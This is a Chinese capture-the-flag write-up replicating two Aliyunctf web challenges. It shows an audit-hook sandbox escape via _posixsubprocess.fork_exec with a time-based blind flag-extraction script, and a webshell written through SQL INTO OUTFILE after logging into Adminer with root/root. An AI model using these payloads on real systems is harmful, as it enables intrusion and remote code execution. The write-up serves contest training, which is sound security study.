Aliyunctf(复现)
本文最后更新于 16 天前,其中的信息可能已经有所发展或是发生改变。

Web

ezoj

dirsearch扫描扫出/source

import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path

app = Flask(__name__)

SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")

SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)

CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
  if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
      raise RuntimeError

sys.addaudithook(audit_checker)


"""


class OJTimeLimitExceed(Exception):
  pass


class OJRuntimeError(Exception):
  pass


@app.route("/")
def index():
  return send_file("static/index.html")


@app.route("/source")
def source():
  return send_file("server.py")


@app.route("/api/problems")
def list_problems():
  problems_dir = PROBLEMS_PATH
  problems = []
  for problem in problems_dir.iterdir():
      problem_config_file = problem / "problem.json"
      if not problem_config_file.exists():
          continue

      problem_config = json.load(problem_config_file.open("r"))
      problem = {
          "problem_id": problem.name,
          "name": problem_config["name"],
          "description": problem_config["description"],
      }
      problems.append(problem)

  problems = sorted(problems, key=lambda x: x["problem_id"])

  problems = {"problems": problems}
  return jsonify(problems), 200


@app.route("/api/submit", methods=["POST"])
def submit_code():
  try:
      data = request.get_json()
      code = data.get("code")
      problem_id = data.get("problem_id")

      if code is None or problem_id is None:
          return (
              jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
              400,
          )

      problem_id = str(int(problem_id))
      problem_dir = PROBLEMS_PATH / problem_id
      if not problem_dir.exists():
          return (
              jsonify(
                  {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
              ),
              404,
          )

      code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
      with open(code_filename, "w") as code_file:
          code = CODE_TEMPLATE + code
          code_file.write(code)

      result = judge(code_filename, problem_dir)

      code_filename.unlink()

      return jsonify(result)

  except Exception as e:
      return jsonify({"status": "ER", "message": str(e)}), 500


def judge(code_filename, problem_dir):
  test_files = sorted(problem_dir.glob("*.input"))
  total_tests = len(test_files)
  passed_tests = 0

  try:
      for test_file in test_files:
          input_file = test_file
          expected_output_file = problem_dir / f"{test_file.stem}.output"

          if not expected_output_file.exists():
              continue

          case_passed = run_code(code_filename, input_file, expected_output_file)

          if case_passed:
              passed_tests += 1

      if passed_tests == total_tests:
          return {"status": "AC", "message": f"Accepted"}
      else:
          return {
              "status": "WA",
              "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
          }
  except OJRuntimeError as e:
      return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
  except OJTimeLimitExceed:
      return {"status": "TLE", "message": "Time Limit Exceed"}


def run_code(code_filename, input_file, expected_output_file):
  with open(input_file, "r") as infile, open(
      expected_output_file, "r"
  ) as expected_output:
      expected_output_content = expected_output.read().strip()

      process = subprocess.Popen(
          ["python3", code_filename],
          stdin=infile,
          stdout=subprocess.PIPE,
          stderr=subprocess.PIPE,
          text=True,
      )

      try:
          stdout, stderr = process.communicate(timeout=5)
      except subprocess.TimeoutExpired:
          process.kill()
          raise OJTimeLimitExceed

      if process.returncode != 0:
          raise OJRuntimeError(process.returncode)

      if stdout.strip() == expected_output_content:
          return True
      else:
          return False


if __name__ == "__main__":
  app.run(host="0.0.0.0", port=5000)

一段段分析

调用了os模块,还有subprocess模块(用于创建和管理子进程,允许在 Python 程序中执行外部命令或程序,并与之进行交互)

uuid模块(一个用于生成和处理通用唯一识别码(UUID)的模块,即通用唯一识别码,是一种由数字和字母组成的 128 位标识符,具有全球唯一性、稳定性和无意义性等特点)

json模块(轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。Python 的json模块提供了处理 JSON 数据的功能,它可以将 Python 对象(如字典、列表等)转换为 JSON 字符串,也可以将 JSON 字符串转换为 Python 对象)

pathlib模块( 是 Python 3.4 及以上版本引入的一个用于处理文件系统路径的模块,它提供了面向对象的方式来操作文件系统路径,相比传统的 os.path 模块,使用起来更加直观、简洁,并且具有更好的跨平台兼容性)

Path 类来自 pathlib 模块,用于以面向对象的方式处理文件系统路径

jsonify 是一个用于将 Python 对象(如字典、列表等)转换为 JSON 格式响应的函数

send_file 用于将服务器上的文件发送给客户端。可以是图片、文本文件、PDF 等各种类型的文件

下面定义了一个钩子函数(钩子函数(Hook Function)是一种编程概念,在不同的编程环境和框架中有广泛应用,它本质上是一段被定义好的、供其他代码在特定事件或时机调用的函数),定义了事件可用的白名单

def audit_checker(event,args):
  if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
      raise RuntimeError

sys.addaudithook(audit_checker)

附上钩子函数的工作原理:

回调机制:钩子函数基于回调机制工作。在程序的特定流程点,会预留一个 “钩子” 位置,当执行到这个位置时,程序会检查是否有相应的钩子函数被注册。如果有,就调用该钩子函数,让开发者可以在这些特定点插入自定义代码逻辑,以改变或增强程序的默认行为

后半段是个OJ,该OJ在执⾏python代码时,会使⽤ audithook 限制代码的⾏为。限制⽅

法为⽩名单,只允许 [“import”,”time.sleep”,”builtins.input”,”builtins.input/resu

lt”] 的事件执⾏

也就是遇见事件就会触发,触发了就能执行

主要是/api/submit所在的位置(用于接收用户提交的代码并对其进行评测)

@app.route("/api/submit", methods=["POST"])
def submit_code():
  try:
      data = request.get_json()
      code = data.get("code")
      problem_id = data.get("problem_id")

      if code is None or problem_id is None:
          return (
              jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
              400,
          )

      problem_id = str(int(problem_id))
      problem_dir = PROBLEMS_PATH / problem_id
      if not problem_dir.exists():
          return (
              jsonify(
                  {"status": "ER", "message": f"Problem ID {problem_id} not found!"}
              ),
              404,
          )

      code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
      with open(code_filename, "w") as code_file:
          code = CODE_TEMPLATE + code
          code_file.write(code)

      result = judge(code_filename, problem_dir)

      code_filename.unlink()

      return jsonify(result)

  except Exception as e:
      return jsonify({"status": "ER", "message": str(e)}), 500


def judge(code_filename, problem_dir):
  test_files = sorted(problem_dir.glob("*.input"))
  total_tests = len(test_files)
  passed_tests = 0

  try:
      for test_file in test_files:
          input_file = test_file
          expected_output_file = problem_dir / f"{test_file.stem}.output"

          if not expected_output_file.exists():
              continue

          case_passed = run_code(code_filename, input_file, expected_output_file)

          if case_passed:
              passed_tests += 1

      if passed_tests == total_tests:
          return {"status": "AC", "message": f"Accepted"}
      else:
          return {
              "status": "WA",
              "message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
          }
  except OJRuntimeError as e:
      return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
  except OJTimeLimitExceed:
      return {"status": "TLE", "message": "Time Limit Exceed"}


def run_code(code_filename, input_file, expected_output_file):
  with open(input_file, "r") as infile, open(
      expected_output_file, "r"
  ) as expected_output:
      expected_output_content = expected_output.read().strip()

      process = subprocess.Popen(
          ["python3", code_filename],
          stdin=infile,
          stdout=subprocess.PIPE,
          stderr=subprocess.PIPE,
          text=True,
      )

      try:
          stdout, stderr = process.communicate(timeout=5)
      except subprocess.TimeoutExpired:
          process.kill()
          raise OJTimeLimitExceed

      if process.returncode != 0:
          raise OJRuntimeError(process.returncode)

      if stdout.strip() == expected_output_content:
          return True
      else:
       
          return False

看了其他师傅的wp,加上自己测试发现这个OJ也会返回退出的代码,也就是有回显信息

也就可以利用这个特性,来获取sys.version_info 的值,就能得到python的版本

sys.version_info` 是一个包含 Python 版本信息的元组,格式为 `sys.version_info(major=x, minor=x, micro=x
import sys
import os

# 获取 sys.version_info 的值
major = sys.version_info.major
minor = sys.version_info.minor
micro = sys.version_info.micro

# 根据需要获取的版本信息设置退出码
# 这里以获取 major 版本为例,若要获取 minor 或 micro,修改相应的值即可
os._exit(major)
//我们通过提交这个,看返回的代码,就可以得到python版本为3.12.9

这边白名单的内容,允许导入模块,但是只能导入内部模块,不然没办法通过执行

然后这边是看了一些师傅们的wp,看到内部模块_posixsubprocess能够fork_exec执行任意命令,同时还不会触发审计

也就是利用python的系统底层函数 _posixsubprocess.fork_exec()创建子进程命令执行绕过

解释一下:
_posixsubprocess.fork_exec()函数会创建一个新的子进程,然后在子进程中执行指定的命令。它可以用于执行系统命令、启动其他程序等操作。在执行过程中,它会复制父进程的地址空间,并在子进程中加载并执行新的程序

借鉴文章

https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html#%E5%85%B6%E4%BB%96%E4%B8%8D%E8%A7%A6%E5%8F%91-hook-%E7%9A%84%E6%96%B9%E5%BC%8F

就是利用这个去

设置参数
_posixsubprocess.fork_exec(
  args,
  executable,
  close_fds,
  cwd,
  env,
  p2cread,
  p2cwrite,
  c2pread,
  c2pwrite,
  errread,
  errwrite,
  stdin,
  stdout,
  stderr,
  restore_signals,
  start_new_session,
  preexec_fn,
  gid,
  gids,
  uid,
  umask,
  use_vfork
)
f"n=1+1\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then echo 'true'; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"

基于返回值确定,采用时间盲注,去一个字符一个字符的去爆破f*,使用 cut 命令提取第一行的第 i 个字符。将提取的字符与字符 j 进行比较,如果相等则输出 true

import requests
url="http://121.41.238.106:21565//api/submit"
flag="aliyunctf{3"
dict = "abcdef0123456789{}-ghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
SLEEP_TIME = 6
for i in range(12,50):
  for j in dict:
      payload=f"n=1+1\nimport os\nimport _posixsubprocess\n_posixsubprocess.fork_exec([b\"/bin/bash\",\"-c\",\"if [ $(head -n 1 /f* | cut -c {i}) == '{j}' ]; then sleep {SLEEP_TIME}; fi;\"], [b\"/bin/bash\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)"
      burp0_json={"problem_id":"0","code": payload,}

      print(j)
      s=requests.post(url,json=burp0_json)
      if "Time Limit" in s.text:
          print(f"第{i}个字符是{j}")
          flag+=j
          break
          print(flag)

打开OK

dirsearch扫一下

/index.php~
<?php
  session_start();
  if($_SESSION['login']!=1){
      echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
      return ;
  }
?>
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <title>鎵撳崱绯荤粺</title>
  <meta name="keywords" content="HTML5 Template">
  <meta name="description" content="Forum - Responsive HTML5 Template">
  <meta name="author" content="Forum">
  <link rel="shortcut icon" href="favicon/favicon.ico">
  <meta name="format-detection" content="telephone=no">
  <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
  <link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
  <ul>

  </ul>
  <div class="mm-navbtn-names">
      <div class="mm-closebtn">
          Close
          <div class="tt-icon">
              <svg>
                <use xlink:href="#icon-cancel"></use>
              </svg>
          </div>
      </div>
      <div class="mm-backbtn">Back</div>
  </div>
</nav>

<main id="tt-pageContent">
  <div class="container">
      <div class="tt-wrapper-inner">
          <h1 class="tt-title-border">
              琛ュ崱绯荤粺
          </h1>
          <form class="form-default form-create-topic" action="./index.php" method="POST">
              <div class="form-group">
                  <label for="inputTopicTitle">濮撳悕</label>
                  <div class="tt-value-wrapper">
                      <input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
                  </div>
                   
              </div>

              <div class="pt-editor">
                  <h6 class="pt-title">琛ュ崱鍘熷洜</h6>
                   
                  <div class="form-group">
                      <textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
                  </div>
                   
                    <div class="row">
                      <div class="col-auto ml-md-auto">
                          <button class="btn btn-secondary btn-width-lg">鎻愪氦</button>
                      </div>
                  </div>
              </div>
          </form>
      </div>
     
  </div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
  if(isset($_GET['debug_buka']))
  {
      $time=date($_GET['debug_buka']);
  }else{
      $time=date("Y-m-d H:i:s");
  }
  $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
  $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
  $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
  if (is_file($cachefile)) {
      $data=file_get_contents($cachefile);
      $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
      $check="/var/www/html/".$checkdata['background'].".php";
      include "$check";
  }else{
      include 'error.php';
  }
}
?>

题目名

在/ok.php~

//adminer_481.php

数据库用户名密码就是弱口令

root/root

执行SQL命令

select "<?php @eval($_POST[1]);?>" into outfile '/var/www/html/1.php'

蚁剑连接

http://..../1.php

在根目录下,/Ali_t1hs_1sflag_2025

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇